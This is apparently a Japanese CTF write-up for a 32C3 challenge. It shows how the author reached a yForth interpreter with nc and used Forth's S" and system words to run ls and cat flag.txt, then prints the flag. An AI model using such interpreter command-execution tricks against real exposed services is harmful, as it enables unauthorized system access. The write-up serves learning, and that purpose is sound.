Connect to 136.243.194.49:1024 and get a shell.
ncコマンドで指定されたサーバに接続します。
>nc.exe 136.243.194.49 1024
yForth? v0.2  Copyright (C) 2012  Luca Padovani
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions; see LICENSE for details.
yForthというのは、Forth言語の実装の一つのようです。作者のサイトがこちら。
http://www.di.unito.it/~padovani/software.html
Forth言語というものが存在することを初めて知りました。

Forth言語についてはこちらのサイトが詳しいです。
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/index.html

さて、問題ではシェルを取得せよとなっていますので、Forth言語からOSコマンドを実行する方法を調べます。
どうやら、スタックに文字列(OSコマンド)を保存した状態で、systemコマンドでOSコマンドを実行できるようです。

文字列について
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/Displaying-characters-and-strings.html#Displaying-characters-and-strings

OSコマンド発行について
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/Passing-Commands-to-the-OS.html#Passing-Commands-to-the-OS

S"でlsという文字列をスタックにPUSHします。S"の後ろにはスペースが必要です。
S" ls"
ok
次に、systemでlsコマンドを発行します。すると、ファイル一覧が表示されました。
system
flag.txt  README.gpl  run.sh  yforth
ok
catコマンドを発行して、flag.txtの中身を表示します。
S" cat flag.txt"
ok
system
32C3_a8cfc6174adcb39b8d6dc361e888f17b
ok
フラグは、
32C3_a8cfc6174adcb39b8d6dc361e888f17b
です。

標準 FORTH [単行本]
井上 外志雄
共立出版
1985-07